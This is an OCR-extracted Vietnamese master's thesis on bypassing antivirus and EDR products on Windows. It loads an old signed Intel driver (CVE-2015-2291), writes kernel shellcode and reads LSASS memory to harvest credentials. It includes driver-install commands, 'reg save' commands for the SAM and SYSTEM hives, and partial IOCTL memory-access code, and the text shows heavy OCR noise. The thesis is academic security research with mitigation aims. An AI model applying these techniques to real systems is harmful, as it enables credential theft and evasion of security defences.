LỜI CAM ĐOANTôi cam đoan luận văn về đề tài “Nghiên cứu kỹ thuật tắn công bypass các phần mềm bảo mật thông qua việc khai thác các driver lỗi trên hệ điều hành Windows” là công trình do
Trang 1ĐẠI HOC QUOC GIA TP HCM TRƯỜNG ĐẠI HỌC CÔNG NGHỆ THÔNG TIN
CÁC DRIVER LOI TREN HỆ DIEU HANH WINDOWS
LUẬN VĂN THAC SĨ
Trang 2Tôi xin gửi lời cảm ơn chân thành nhất đến PGS TS Vũ Thanh Nguyên Tôi chân thành
biết ơn và cảm ơn thầy vì những chỉ dẫn vô giá, những hướng dẫn giá trị và những động lực từ tinh thần nghiên cứu liên tục của thầy Nhờ sự giảng day và những kinh nghiệm
của thầy trong lĩnh vực khóa học máy tính đã giúp tôi có được những kiến thức đầy giátrị và niềm đam mê trong công việc nghiên cứu Thay là nguồn cảm hứng của tôi quanhững trở ngại trong thời gian làm khóa luận tốt nghiệp Nếu không có sự giúp đỡ của
thầy, tôi sẽ không thể hoàn thành khóa luận này.
Tôi cũng gửi lời cảm ơn đến anh Mai Viết Tiệp giúp đỡ tôi trong việc công bố bàibáo tại hội nghị khoa học quốc tế Future Data and Security Engineering lần thứ 8, năm
2021.
Cuối cùng, tôi xin cảm ơn gia đình đã động viên và hỗ trợ lúc tôi cần Tôi mãi biết
ơn tình yêu vô điều kiện của họ
Trang 3LỜI CAM ĐOAN
Tôi cam đoan luận văn về đề tài “Nghiên cứu kỹ thuật tắn công bypass các phần mềm
bảo mật thông qua việc khai thác các driver lỗi trên hệ điều hành Windows” là công trình
do tôi nghiên cứu, dưới sự hướng dẫn của PGS.TS Vũ Thanh Nguyên Kết quả nghiên
cứu được công bồ trong báo cáo là trung thực
Tôi xin hoàn toàn chịu trách nhiệm về công trình nghiên cứu của mình.
TP Hà Chí Minh, ngày 13 tháng 7 năm 2022
Học viên thực hiện
Phạm Hữu Danh
Trang 4LOI CAM DOAN
MUC LUC
DANH MỤC CÁC HÌNH ẢNH 222222£22222222222222222211122 22221111 rrrrrrrkkvv 7TOM TAT KHOA LUẬN 2 ©22£+2EE+2£EEEE+EEEEEEE22221112221111227111227112 212 8Chương 1: TONG QUAN - 2222 2222222922222222221111111221211111111.22711111111 1211 1e 9
2.1.2 Driver Signature Enforcement
2.1.3 Driver chứa lỗ hong có chữ ký hợp lệ ccccccccccccccccc:+zzztssrez 14
2.3 Ngữ cảnh người dùng và ngữ cảnh kernel . 5-55 c5cc+scxzxerescee 14 2.3.1 Ngữ cảnh người dùng - - ¿5c 5c eteskerererrrrrrrerrrrrrrrrree 14
2.3.2 Ngữ cảnh Kernel c+ x2 vcxttrrrrvtrrrrrrrrrrrrrrrrrrrrrrrrrrirrrrrrrrrrrrer 15 2.4 Windows APPI cà tt HH1 re 15 2.5 Shellcode
2.4 Trích xuất thông tin đăng nhập . -22v222222222cc+vccrrrrrrrrrrrrrrrrrre 17 2.4.1 Bộ nhớ của tiến trình LSASS 22sccccstreecerrreeerrrrererrre 18
2.2 CƠ SO Git HIỂU SAI ¿¿.,,22,25,;49429940313112441213331303195520117922951419331111591511244411119175011Ấ6 18
Trang 53.3 Khai thác driver lỗi
3.3.1 Đọc và ghi bộ nhớ physical
3.3.2 Cách gọi shellcode thực thi từ ngữ cảnh người dùng 24
3.3.3 Phát triển shellcode đọc bộ nhớ của tiến trình :::-: : ++ 26
3.3.4 Kết hợp các kỹ thuật dé gọi shellcode
3.3.4 Đọc bộ nhớ tiến trình LSASS và trích xuất thông tin đăng nhập 29
Chương 4: THỰC NGHIỆM VÀ DANH GIÁ : ¿++££22222222222222222Evvvre 30 4.1 Thiết lặp môi trường -222222222222222222 222 rttttttttEEEEE21211111EEErrkrrrres 30 4.2 Kết qua tHỰC H@lHQWS óc c2 c6 2.06 006 S22 06090 S2
4.3 Đánh gia $B143993315431151431591191312191354931794314151591185941119174101391918541449183:2 207
4.4 Phương pháp giảm thiểu rủi rO -.222222+c2222222222tttEEEEEEvvrrrrrttrtrrrrrrrrrrrres 34
Chương 5: TONG KET iccccccsscsssssssssscsscssscssssssssssssssssssssssssssinsssssesssscceesessseessseesssssesssseess 35 5.1 Két quả dat duo
5.2 Hướng phát trién tương lai
TAI LIEU THAM KHẢ!
Trang 6Hình 1 Giới thiệu về device driver
Hình 2 Ví dụ về tính năng Driver Signature Enforcemert -.::+:-+ 13
Hình 3 Tổng quan về kỹ thuật được đề xuất trong ba bước -:: -:-+ 20
Hình 4 Cài đặt driver với các lệnh sc.exe Hình 5 Ánh xa địa chỉ bộ nhớ physical sang địa chỉ bộ nhớ virtual - 2
Hình 6 Sao chép dữ liệu giữa hai vùng nhớ physical 5-5 c5cscccsxerxee 23 Hình 7 Giải phóng ánh xạ của địa chỉ bộ nhớ physical - ¿52 555 +<<+ 23 Hình 8 Doc dữ liệu từ vùng nhớ physical -¿- ¿5+ 5+ccx+csrsrrerxerxerxerrrree 24 Hình 9 Ghi dữ liệu vào vùng nhớ physical Hình 10 Tìm vị trí của NtShutdownSystem trong bộ nhớ physical 25
Hình 11 Shellcode 64-bit hỗ trợ gọi MmCopy VirtualMemory -. - 26
Hình 12 Shellcode 64-bit hỗ trợ gọi PsLookupProcessByProcessld 27
Hình 13 Shellcode 32-bit hỗ trợ gọi MmCopyVirtualMemory . - 27
Hình 14 Shellcode 32-bit hỗ trợ gọi PsLookupProcessByProcessld 28
Hình 15 Cách sử dụng shellcode để gọi WinAPI MmCopyVirtualMemory 29
Hình 16 Hình 17 Hình 18. Phương pháp đề xuất đã bypass Microsoft Defender Phương pháp đề xuất đã bypass Kaspersky Total Security 202 31 Phương pháp dé xuất đã bypass McAfee Total Protection 202 Hình 19 Phuong pháp dé xuất đã bypass Trend Micro Maximum Security 2021 32
Hình 20 Phương pháp đề xuất đã bypass Malwarebytes Premium - 33
Trang 7TOM TAT KHOA LUẬN
Device driver, gọi tắt là driver, là một chương trình đóng vai trò thiết yếu với hệ điều
hành, giúp điều khién thiết bị ngoại vi được kết nói với máy tính Những lỗ hồng trong
các driver thường gây những hậu quả nghiêm trọng, nên chúng luôn là mục tiêu của các
nhà nghiên cứu tìm lỗ hồng (bug hunter) Nhiều lỗ hồng đã được phát hiện và báo cáotrong nhiều năm qua Tuy nhiên số lượng lỗ hồng mới vẫn tăng lên hàng năm do sự rađời của nhiều driver mới
Mặc dù các phiên bản mới của driver sẽ được sửa lỗi, những phiên bản cũ vẫn lànhững chương trình lành tính (benign program) với những chữ ký số hợp lệ Nên chúngđược tin tưởng và cho phép chạy bởi các phần mềm bảo mật (Trong nghiên cứu này,
chúng tôi hướng đến chủ yếu là các phần mềm diệt virus và các phần mềm Endpoint Detection and Response) Các kẻ xấu trên không gian mạng có thể sử dụng những phiên bản driver cũ, không an toàn dé bypass (qua mặt) các phần mềm bao mật, thực hiện
những hành vi nguy hiểm cho người ding
Nghiên cứu nay trình bày một phương pháp tan công bypass nhiều phần mềm bảo
mật phổ biến hiện nay, thông qua việc sử dụng một phiên bản cũ từ năm 2012 của Intel
Network Adapter Diagnostic Driver Chúng tôi đã thành công thu thập được các thông
tin đăng nhập từ bộ nhớ máy tính mà không nhận bất kỳ thông báo hay cảnh báo nào từcác phần mềm diệt virus
Bằng việc minh chứng bypass hầu hết các sản phẩm bảo mật hiện nay với một driver
cũ, kết quả của chúng tôi giúp nâng cao nhận thức về mối de dọa tiềm ẩn từ driver lỗi và kêu gọi việc phát triển các cơ chế chồng lại kỹ thuật tan công này Chúng tôi cũng chỉ ra
các điểm đặc trưng trong kỹ thuật tan công và phương pháp giúp giảm thiểu rủi ro
Trang 8Chương 1:
TONG QUAN
Chương 1 trình bày tổng quan về kỹ thuật sử dung các phiên bản driver lỗi
để bypass các phan mém bảo mật trên hệ điều hành Windows; liệt kê các
nghiên cứu học thuật và các bài viết kỹ thuật có liên quan; trình bày cụ thể
các mục tiêu chính của nghiên cứu.
1.1 Giới thiệu
Device driver, gọi tắt là driver, là một thành phần giúp kết nói giữa hệ điều hành và thiết
bị ngoại vi Driver thường được phát triển bởi công ty liên quan thiết kế phần cứng thiết
bị, ví dụ, hầu hết các driver đồ họa ngày nay được Nvidia và AMD phát triển Trong cácphiên bản hệ điều hành Windows mới hiện nay, một tính năng tích hợp sẵn được gọi là
Driver Signature Enforcement (DSE) đảm bảo chỉ những driver có chữ ký số hợp lệ từ các nhà cung cấp đáng tin cậy mới được hoạt động [1] Cơ chế này giúp chặn các phần
mềm độc hại xâm nhập vào Windows kernel và thực hiện hành vi có hại cho người dùng
Do có sự bảo vệ của tính năng DSE, các kẻ xấu trên không gian mạng chuyền hướngsang việc tim ra lỗ hồng trong driver có chữ ký số hợp lệ đề có thé thực thi mã ở chế độ
kernel Những kẻ tấn công có thé bypass các sản phẩm bảo mật và kiểm soát hệ thống
nếu một lỗ hồng nghiêm trọng được tìm thấy và khai thác Vi dụ, trong một báo cáo gần
đây của công ty SentinelLabs, hàng triệu máy tính của hãng Dell có nguy cơ bị xâm nhập
do năm lỗ hồng nghiêm trọng [2] Do đó, nhiều chương trình khen thưởng đã được tổ chức đề khuyến khích các nhà nghiên cứu bảo mật tìm kiếm, phát hiện sớm và gửi báo cáo về các lỗ héng bảo mật Các báo cáo này giúp các nhà sản xuất vá các lỗi bảo mật trước khi chúng bị kẻ xấu tìm thấy và sử dụng.
Tuy nhiên, thay vì tìm ra các lỗ hong mới, tin tặc đã phân tích lại các báo cáo về lỗ
hồng cũ và lạm dụng driver lỗi để thực thi mã Có rất nhiều bằng chứng cho thấy các tin tặc đã sử dụng cách tiếp cận này Ví dụ đầu tiên là Turla Group, một tác nhân nguy hại
Trang 9Chương 1: Tổng Quan
(threat actor) nổi tiếng được cho là có trụ sở ở Nga, đã sử dụng driver của phần mềm
VirtualBox dé vô hiệu hóa tính năng DSE để có thể sử dụng một driver độc hại không
có chữ ký vào năm 2014 Việc khai thác này sử dụng một lỗ hong có từ năm 2008, được
công bé dưới tên gọi CVE-2008-3431 [3] Ví dụ gần đây, vào năm 2020, các nhà nghiên
cứu từ công ty bảo mật ESET báo cáo rằng nhóm hacker InvisiMole đã sử dụng mộtdriver lỗi để nhắm mục tiêu vào các tổ chức quân sự và ngoại giao ở Đông Âu [4] Kỹ
thuật này cũng đã được sử dụng bởi nhóm Slingshot APT (Advanced Persistent Threat)
và đã được công ty bao mật Kaspersky báo cáo vào năm 2018 [5].
1.2 Những nghiên cứu liên quan
Tại thời điểm thực hiện nghiên cứu này, có rất ít công trình khoa học được công bố vềcác kỹ thuật bypass các sản phẩm bảo mật, cũng như là về việc khai thác các driver bị
lỗi Nỗi bật trong số đó là công trình nghiên cứu của Blaauwendraad và các đồng tác giả vào năm 2020 [6], họ sử dụng một driver có chữ ký số hợp lệ của công cụ Mimikatz để
vô hiệu hoá tính năng của chương trình diệt virus Windows Defender Tuy nhiên, họ chỉ tập trung vào một chương trình Windows Defender và sử dụng một driver được phát
triển riêng cho việc tấn công bảo mật Bên cạnh đó, vào năm 2021, Karantzas và Patsakis
đã công bố một nghiên cứu đánh giá về các hệ thống Endpoint Detection and Response
(EDR) trong việc chống lại các cuộc tan công của Advanced Persistent Threats (APT)[7] Họ đã mô phỏng việc khai thác các driver lỗi để sử dụng một driver chưa được ký
hoặc vô hiệu hoá các chức năng phòng vệ Hau hết các sản phẩm bảo mật hiện nay đã
phát hiện phương pháp này ảnh báo cho người dùng.
Mặt khác, hiện nay lại có rất nhiều blog kỹ thuật được viết bởi các tác giả ân danh.Tir năm 2019 đến năm 2020, một nhà nghiên cứu độc lập có tên _xeroxz đã xuất ban hai
dự án liên quan đến việc khai thác các driver trên hệ điều hành Windows [8, 9] Tác giả
chủ yếu tập trung vào việc sử dụng quyền đọc và ghi bộ nhớ vật lý để ánh xạ mã tuỳ ý vào Windows kernel Những bài viết này đã giúp chúng tôi hiểu thêm về kỹ thuật thực thi mã ở kernel Ngoài ra, một công cụ mã nguồn mở có tên KDMapper sử dụng phiên
Trang 10bản bị lỗi của driver Intel để ánh xạ một driver tuỳ ý lên bộ nhớ [10], tuy nhiên, công cụnày chỉ hỗ trợ các phiên bản 64-bit của Windows OS.
1.3 Mục tiêu
Nghiên cứu này được thực hiện để nghiên cứu các kỹ thuật khai thác các driver lỗi Từ
đó chỉ ra những điểm đặc trưng của kỹ thuật này dé xây dựng phương pháp giảm thiểurủi ro Bên cạnh đó, chúng tôi cũng đặt mục tiêu tìm ra những hướng tiếp cận mới trong
của kỹ thuật này, những hướng tiếp cận chưa bị được công bé trước đó.
Các mục tiêu cụ thể mà chúng tôi đã đề ra trong đề tài này:
© Nghiên cứu kỹ thuật tan công khai thác các driver lỗi trên hệ điều hành Windows.
Trinh bày một hướng tiếp cận mới của kỹ thuật tan công khai thác các driver lỗi cóthé bypass nhiều phần mềm bảo mật phố biến hiện nay
e_ Trình bày những đặc trưng của kỹ thuật tấn công và đề xuất phương pháp phát hiện sớm để giảm thiéu rủi ro.
Trang 11Chương 2: Lý Thuyết
Chương 2:
LÝ THUYET
Chương 2 trình bày các lý thuyết có liên quan được sử dụng trong đề tài:
định nghĩa về device driver, Windows API, shellcode và những kỹ thuật trích
xuất thông tin đăng nhập từ bộ nhớ trên hệ điều hành Windows.
2.1 Device driver
2.1.1 Giới thiệu
Device driver, thường được gọi là driver hoặc hardware driver, là chương trình cho phép
một hoặc nhiều thiết bị phần cứng giao tiếp với hệ điều hành của máy tính Nếu thiếudriver, máy tính không thể gửi và nhận dữ liệu chính xác đến các thiết bị phần cứng,
Ứng dụng
Phanmém — Hé diéu hanh
chang hạn như máy in
Phan cứng(thông thường) =
Hình 1 Giới thiệu về device driver
Trang 12Các thiết bị phần cứng mà hệ điều hành không xác định hoặc có các tính năng mà hệđiều hành không xác định đều yêu cầu driver Một số thiết bị phần cứng và thiết bị ngoại
vi yêu cầu driver như: card mạng, card màn hình, bàn phím, máy in
Nếu driver không được cài đặt, thiết bị có thể không hoạt động bình thường Bên
cạnh đó, có một số thiết bi vẫn có thể hoạt động nếu thiếu driver, nhưng nó không théhoạt động với tất cả tính năng của nó Ví dụ, chuột máy tính thường có thể hoạt động màkhông cần driver, nhưng những nút phụ của nó sẽ không thể hoạt động nếu thiếu driver
Đối với Microsoft Windows, có hai loại driver cơ bản:
¢ User-mode: thực thi trong ngữ cảnh người dùng, chúng thường cung cấp khả năngtương tác giữa ứng dụng và kernel-mode driver hoặc các thành phần khác của hệ
điều hành.
¢ Kernel-mode: thực thi trong ngữ cảnh kernel Khi các tiến trình chạy ở ngữ cảnh
kernel, chúng có quyền truy cập không hạn chế vào phần cứng
2.1.2 Driver Signature Enforcement
Driver Signature Enforcement là một tinh năng có sẵn của các hệ điều hành Windowshiện nay nhằm bảo vệ máy tính của người dùng Nó sẽ chỉ cho phép người dùng sử dụngcác driver đã được ký bởi Microsoft, nhằm ngăn chặn virus và các phần mềm độc hại
khác được thêm vào driver mà người dùng không biết [1].
> TRwPC > DADA(Đ) > UT vie
mimidnssyz emf
TẾ Administrator: Command Prompt o x
General Securty Detals Previous Versions
Sze on deh: 320 KB (2.758 es)
Hinh 2 Vi dy vé tinh nang Driver Signature Enforcement
Trang 13năm 2019, Jesse và Shkatov đã công bố danh sách hơn 40 driver bị lỗi từ các nhà cung cấp được Microsoft chứng nhận [11].
Các phiên bản driver cũ, chứa lỗ héng vẫn là các chương trình lành tính có chữ ký
điện tử hợp lệ và được phần mềm chống virus tin cậy Tin tặc có thé phân tích các báo cáo và khai thác các driver lỗi dé thực thi mã ở kernel Các lỗ hồng thường gặp trong
kernel driver bao gồm:
1 Không kiểm tra dé hạn chế quyền truy cập vào các thanh ghi quan trọng
2 Cho phép ánh xạ bộ nhớ physical từ chế độ người dùng dé đọc và ghi
3 Cho phép truy cập bộ nhớ virtual kernel từ chế độ người dùng dé đọc và ghi
Nghiên cứu này khai thác lỗ hông thường gặp sé 2, cho phép ánh xạ bộ nhớ physical
từ chế độ người dùng để đọc và ghi
2.3 Ngữ cảnh người dùng và ngữ cảnh kernel
Bộ xử lý trong máy tính chạy Windows có hai ngữ cảnh khác nhau, người dùng (user
mode) và kernel mode Bộ xử lý chuyền đổi giữa hai ngữ cảnh tùy thuộc vào loại mã nào
đang chạy trên bộ xử lý Các ứng dụng thường chạy ở ngữ cảnh người dùng và các thànhphần hệ điều hành cốt lõi thường chạy ở ngữ cảnh kernel Các driver chạy ở ngữ cảnhkernel, nhưng cũng có một sé driver có thể chạy ở ngữ cảnh người dùng
2.3.1 Ngữ cảnh người dùng
Khi người dùng khởi động ứng dụng ở ngữ cảnh người dùng, Windows sẽ tạo một tiếntrình cho ứng dụng Tiến trình này cung cấp cho ứng dụng một không gian virtual riêng
Trang 14(virtual address space) và một bảng băm (handle table) riêng Bởi vì không gian virtualcủa ứng dụng là riêng tư nên một ứng dụng không thể thay đổi dữ liệu thuộc về ứng dụngkhác Mỗi ứng dụng chạy riêng lẻ và nếu một ứng dụng gặp sự có, sự có chỉ giới hạn ở
một ứng dụng đó Các ứng dụng khác và hệ điều hành không bị ảnh hưởng bởi sự có.
Ngoài khả năng độc lập, không gian địa chỉ virtual của một ứng dụng ở ngữ cảnhngười dùng bị hạn chế truy cập Bộ xử lý chạy ở chế độ người dùng không thể truy cậpcác địa chỉ bộ nhớ virtual được dành riêng cho hệ điều hành Việc giới hạn không gian
địa chỉ virtual của ứng dụng ở chế độ người dùng sẽ ngăn ứng dụng thay đổi và có thể làm hỏng đữ liệu quan trọng của hệ điều hành.
bàn phím Phiên bản gần đây nhát (tính đến năm 2007) là Win32 API.
Microsoft duy trì một thư viện để cung cấp các thông tin hỗ trợ dành cho nhà cácphát triển dé lập trình sử dụng WinAPI [12] Chức năng được cung cấp bởi WindowsAPI có thể được nhóm thành tám loại:
¢ Dich vụ cơ bản (Base Services): Cung cấp quyền truy cập vào các tài nguyên cơ
bản có sẵn của hệ thống Windows Bao gồm các thứ như hệ thống tỆp, thiết bị,tiến trình và luồng, quyên truy cập vào Windows registry và xử lý lỗi Các hàm
này nằm trong các tệp kernel32.dll và advapi32.dll trên Windows 32 bit.
Trang 15Chương 2: Lý Thuyết
¢ Dịch vụ nâng cao (Advanced Services): Cung cấp quyền truy cập vào các chức
nâng cao ngoài kernel Bao gồm những thứ như Windows registry, tắt / khởi động lại hệ thống, quản lý tiến trình dịch vụ, quản lý tài khoản người dùng Các hàm
nay nằm trong advapi32.dll và advapires32.dll trên Windows 32-bit
© _ Giao diện đồ họa (Graphics Device Interface): Cung cấp chức năng xuất nội dung
đồ họa ra màn hình, máy in và các thiết bị khác Nó nằm trong gdi32.dll trên
Windows 32 bit.
© Giao diện người dùng (User Interface): Cung cấp chức năng quản ly cửa sé và hầu hết các điều khiển cơ bản, chẳng hạn như các nút và thanh cuộn, nhận đầu vào bằng chuột và bàn phím cũng như các chức năng khác được liên kết với phần
GUI của Windows Đơn vị chức năng này nằm trong user32.dll trên Windows 32bit Ké từ Windows XP, các điều khiển cơ bản nằm trong comctl32.dll, cùng với
các điều khién chung.
e Thư viện hộp thoại chung (Common Dialog Box Library): Cung cấp cho ứngdụng các hộp thoại tiêu chuẩn để mở và lưu tệp, chọn màu và phông chữ Thưviện nằm trong tệp comdlg32.dll trên Windows 32 bit Nó được nhóm trong danh
mục Giao diện người dùng của API.
¢ Thu viện điều khiển chung (Common Control Library): Cấp cho ứng dụng quyền
truy cập vào một số điều khiển nâng cao do hệ điều hành cung cấp Chúng bao gồm thanh trạng thái, thanh tiến trình, thanh công cụ và tab Thư viện nằm trong
tệp DLL có tên comctl32.dll trên Windows 32 bit Nó được nhóm trong danh mục Giao diện người dùng của API.
e Windows Shell: Thanh phan của Windows API cho phép các ứng dụng truy cập
vào chức năng được cung cấp bởi shell của hệ điều hành, cũng như thay đổi vàphát triển nó Thành phan này nằm trong shell32.dll và shlwapi.dll trên Windows
32 bit Nó được nhóm trong danh mục Giao diện người dùng của API.
¢ Dich vụ mang (Network Services): Cấp quyền truy cập vào các khả năng kết nối
mạng khác nhau của hệ điều hành Các thành phần phụ của nó bao gồm NetBIOS,
Winsock, NetDDE, RPC và nhiều thành phan khác.
Trang 16Bên cạnh đó, vẫn có nhiều API không được cung cấp tài liệu từ Microsoft, nhưngvẫn được các nhà phát triển độc lập phân tích và chia sẻ cho nhau, chúng được gọi là
Undocumented API Nghiên cứu này sử dụng một undocumented Windows API tên là
MmCopyVirtualMemory, hàm này nằm trong ntoskrnl.exe.
2.5 Shellcode
Shellcode là chuỗi mã máy, hoặc các lệnh thực thi, được đưa vào bộ nhớ của máy tínhvới mục đích kiểm soát một chương trình đang chạy Trong một cuộc tắn công máy tính, một trong các bước là chiếm quyền kiểm soát bộ đếm chương trình, bộ đếm này xác định
lệnh tiếp theo sẽ được thực thi Luồng chương trình sau đó có thể được chuyển hướngđến mã đã chèn Mã máy xâm nhập đó được gọi là payload, thường được gọi bằng thuậtngữ shellcode Phương pháp này thường được sử dụng dé cấp cho người tắn công quyền
truy cập bằng cách mở một command shell của hệ điều hành, vì vay các cuộc tấn công
chèn mã thường được gọi là shellcode.
Shellcode thường được viết bằng ngôn ngữ lập trình có quyền truy cập hệ thống cấpthấp như Assembly, C hoặc C ++ Tuy nhiên, tùy thuộc vào lỗ héng được nhắm tới, kẻ
tân công có thê chèn vào các đoạn shellcode của các ngôn ngữ được câp cao như PERL,
JAVA Shellcode có thé được chèn trước, trong hoặc sau khi chiếm quyền điều khiển bộ
đếm chương trình Do đó, shellcode có thể được chứa trong một tệp trên máy được nhắmđến hoặc được truyền qua kết nối mạng trong thời gian thực
2.4 Trích xuất thông tin đăng nhập
Trích xuất thông tin đăng nhập là quá trình lấy thông tin đăng nhập tài khoản và mậtkhẩu, thường ở dạng mã băm (hash) hoặc mật khẩu văn bản rõ ràng, từ hệ điều hành và
phần mềm [13] Việc trích xuất thông tin xác thực thường cho nhiều mật khẩu từ một máy duy nhất, mỗi mật khẩu có thể cung cấp cho hacker quyền truy cập vào các máy
tính khác trên mạng.
Việc trích xuất thông tin đăng nhập phan lớn có thé xảy ra bởi vì các hệ điều hành
đã cố gắng tránh cho người dùng sự bắt tiện khi nhập liên tục mật khẩu của họ Cụ thể,
Trang 17Chương 2: Lý Thuyết
sau khi người dùng nhập mật khẩu một lần, mật khẩu của họ thường sẽ được lưu trữtrong bộ nhớ, nơi hệ điều hành có thé sử dụng mật khẩu này trong những lần sau dé
chứng thực danh tính của người dùng với các dịch vụ khác trên mạng.
2.4.1 Bộ nhớ của tiến trình LSASS
Kẻ tan công thường có gắng truy cập dé lay thông tin xác thực được lưu trữ trong bộ nhớtiến trình Local Security Authority Subsystem Service (LSASS) Sau khi người dùngđăng nhập, hệ điều hành sẽ tạo và lưu trữ nhiều loại thông tin xác thực trong bộ nhớ tiến
trình LSASS Những tài liệu thông tin xác thực này có thé được truy cập bởi người dùng
có quyền quản trị hoặc những tiến trình có quyền SYSTEM Bởi vì là một kỹ thuật xử
lý dữ liệu bộ nhớ, bộ nhớ của LSASS có thể được trích xuất từ máy tính mục tiêu vàphân tích trên một máy tính khác cục bộ Vì vậy, các phần mềm bảo mật sẽ chặn các
process đọc bộ nhớ của LSASS từ ngữ cảnh người dùng.
Nghiên cứu này tập trung vào phân tích việc đọc bộ nhớ LSASS ở ngữ cảnh ngườidùng thông qua việc khai thác một kernel-mode driver bị lỗi
2.4.2 Cơ sở dir liệu SAM
Tin tặc có thé trích xuất thông tin xác thực từ cơ sở dữ liệu Security Account Manager
(SAM) thông qua các kỹ thuật xử lý bộ nhớ hoặc thông qua Windows Registry, nơi lưu
trữ cơ sở dữ liệu SAM SAM là một tệp cơ sở dữ liệu chứa các tài khoản cục bộ cho máy
tính, thường là những tài khoản được tìm thấy bằng lệnh net user Việc liệt kê cơ sở dữ liệu SAM yêu cầu quyền truy cập mức SYSTEM Một số công cụ có thể được sử dụng
dé trích xuất SAM thông qua các kỹ thuật xử lý bộ nhớ như:
© pwdumpx.exe
© gsecdump
® Mimikatz
© secretsdump.py
Ngoài ra, SAM có thể được trích xuất từ Registry với lệnh reg:
e reg save HKLM\sam sam
e reg save HKLM\system system
Trang 182.4.3 LSA Secrets
Tin tặc nếu có quyền SYSTEM của máy tính có thé tim cách dé lấy dữ liệu Local SecurityAuthority (LSA) secrets, có thể chứa nhiều thông tin xác thực khác nhau, chẳng hạn như
thông tin xác thực cho các tài khoản dịch vụ LSA secrets được lưu trữ tại registry ở địa
chỉ HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets LSA secrets cũng có thể bịtrích xuất từ bộ nhớ
2.4.4 Phương pháp DCSync
Với hệ thống Active Directory Domain Controller, kẻ tắn công có thé cố gắng truy cập
thông tin đăng nhập và các thông tin nhạy cảm khác bằng cách khai thác các WindowsAPI dé mô phỏng quá trình sao chép từ một domain controller từ xa bằng kỹ thuật gọi là
DCSync Các người dùng thuộc nhóm Administrators, Domain Admins, và Enterprise
Admin hoặc tài khoản máy tính trên domain controller có thể chạy DCSync để lấy dữ
liệu mật khẩu từ Active Directory
Trang 19Chương 3: Phương Pháp Đề Xuất
Chương 3:
PHƯƠNG PHAP ĐÈ XUẤT
Chương 3 trình bày cụ thé về phương pháp đề xuất, bao gồm 3 bước chính:
cài đặt driver chứa lỗi, khai thác lỗi để ghỉ shellcode vào kernel và cách
shellcode thực thi để lấy thông tin đăng nhập.
3.1 Tống quan
Thay vì đọc bộ nhớ của tiến trình LSASS từ ngữ cảnh người dùng, chúng tôi sẽ đọc bộ
nhớ từ ngữ cảnh kernel, sau đó gửi nó trở lại tiến trình chính để xử lý Chúng tôi đã phát
triển nhiều đoạn mã shellcode dé thực hiện nhiệm vụ này Chúng là những mã shellcodechạy trong ngữ cảnh kernel và chúng tôi sẽ áp dụng một số kỹ thuật để có thể gọi vànhận kết quả từ ngữ cảnh người dùng
Chúng tôi chia phương pháp đề xuất của mình thành ba bước chính (như Hình 3.):
1 Cài đặt một driver lỗi có chữ ký hợp lệ
2 Khai thác driver dé ghi shellcode vào kernel và gọi chúng từ ngữ cảnh người dùng
3 Thực thi shellcode dé đọc bộ nhớ xử lý LSASS và trả kết quả về tiến trình chính
ở ngữ cảnh người dùng
Bước 1 Bước 2 Bước 3
tác giả tiền trình chính tiên trình chính Cài đặt một driver lỗi có chữ ký
hợp lệ thông qua sc.exe
‘service control manager i [ malall i [ntdlalI
<các xử lý của Windows> i | <iycda API Devicetocontrol> |} - |<xừlý của API NtShutdownSystem
driver manager | [ariver ena lõi i [ntoskrni.exe
cài dat driver chứa lỗi = viết shellcode vào ntoskrnl.exe_ [”'”” shelleode đọc bộ nhớ
6 dia chi của NtShutdownSystem của tiên trình LSASS
Hình 3 Tổng quan về kỹ thuật được đề xuất trong ba bước
Trang 20Cụ thể, các mã shellcode giúp tiến trình chính sử dụng hai WinAPI
PsLookupProcessByProcessId và MmCopyVirtualMemory Bằng việc kết hợp cácWinAPI này, chúng tôi có khả năng đọc bộ nhớ của bat kỳ tiến trình nào với đặc quyền
của kernel Hơn nữa, chúng tôi ghi đè nội dùng của WinAPI NtShutdownSystem bằng shellcode để làm cho shellcode có thể được sử dụng từ ngữ cảnh người dùng Chúng tôi
phân tích chỉ tiết kỹ thuật ở các phần phụ sau
3.2 Cài đặt driver
Legacy driver được xem là các driver service vì chúng được kiểm soát bởi tiễn trình
Service Control Manager Có hai phương pháp cài đặt thông thường, sử dụng lệnh sc.exe
và gọi các Windows API tương ứng.
Microsoft Windows [Version 19.9.19643.1116]
(c) Microsoft Corporation All rights reserved
C:\ProgranData>sc create iqvw binPath=C:\ProgranData\iqvw6te.sys type=kernel start=auto
[sc] CreateService SUCCESS
C:\ProgranData>sc start iqvw
SERVICE_NAME: iqvw
TYPE + 1 MERNEL_DRIVER STATE 2 RUNNING
(STOPPABLE, NOT_PAUSABLE, TGNORES_SHUTDOWN) WIN32_EXIT_CODE :9 (exe)
SERVICE_EXIT_CODE : @ (6x6)
CHECKPOINT 6x9 MATT_HINT 9x8 PID rỡ FLAGS
Hình 4 Cài đặt driver với các lệnh sc.exe
Chúng tôi chọn phương pháp gọi các lệnh sc.exe (như Hình 4.) vì nó chia quá trìnhkhai thác tông thể thành nhiều bước riêng biệt Sử dụng quá nhiều WinAPI nhạy cảm
trong một quy trình sẽ dễ bị phần mềm chống virus phát hiện trong quá trình khai thác.
3.3 Khai thác driver lỗi
Phần này trình bày chỉ tiết bước 2 trong phương pháp, cách khai thác driver để ghi
shellcode vào kernel và gọi chúng từ ngữ cảnh người dùng.
Trang 21Chương 3: Phương Pháp Đề Xuất
3.3.1 Doc và ghi bộ nhớ physical
Chúng tôi sử dụng lỗ hồng được công bố trong báo cáo CVE-2015-2291 [14] Mã khai
thác cho phiên bản 64-bit có thé dé dang tìm thấy trong các dự án mã nguồn mở, nhưng các tác giả lại không phát triển cho phiên bản 32-bit Do đó, chúng tôi đã dịch ngược cả
hai phiên bản, xây dựng cấu trúc cho dữ liệu đầu vào và làm cho code chạy tương thíchvới cả hai kiến trúc 32-bit và 64-bit
Cụ thẻ, lỗ hồng cho phép chúng tôi đã xây dựng ba chức năng đề ánh xạ bộ nhớ
physical sang địa chỉ bộ nhớ virtual (như Hình 5.), sao chép dữ liệu giữa hai vùng nhớ physical (như Hình 6.) và giải phóng ánh xạ bộ nhớ physical (như Hình 7.) thông qua
2 if (!DeviceToControl(hDevice, @x8@862997, &mapInfo, sizeo£(HapToSpaceBufferTnfo),
22 nullptr, @, &duBytesReturned, nullptr))
Trang 22BOOL IqvwCopyMemory(DWORD_PTR nFromAddress, DHORD_PTR nToAddress, SIZE_T nSize)
a return DeviceToControl (hDevice, 0x808620@7, ©Info, sizeof (CopyMemoryBufferInfo) ,
2 nullptr, @, &duBytesReturned, nullptr);
23}
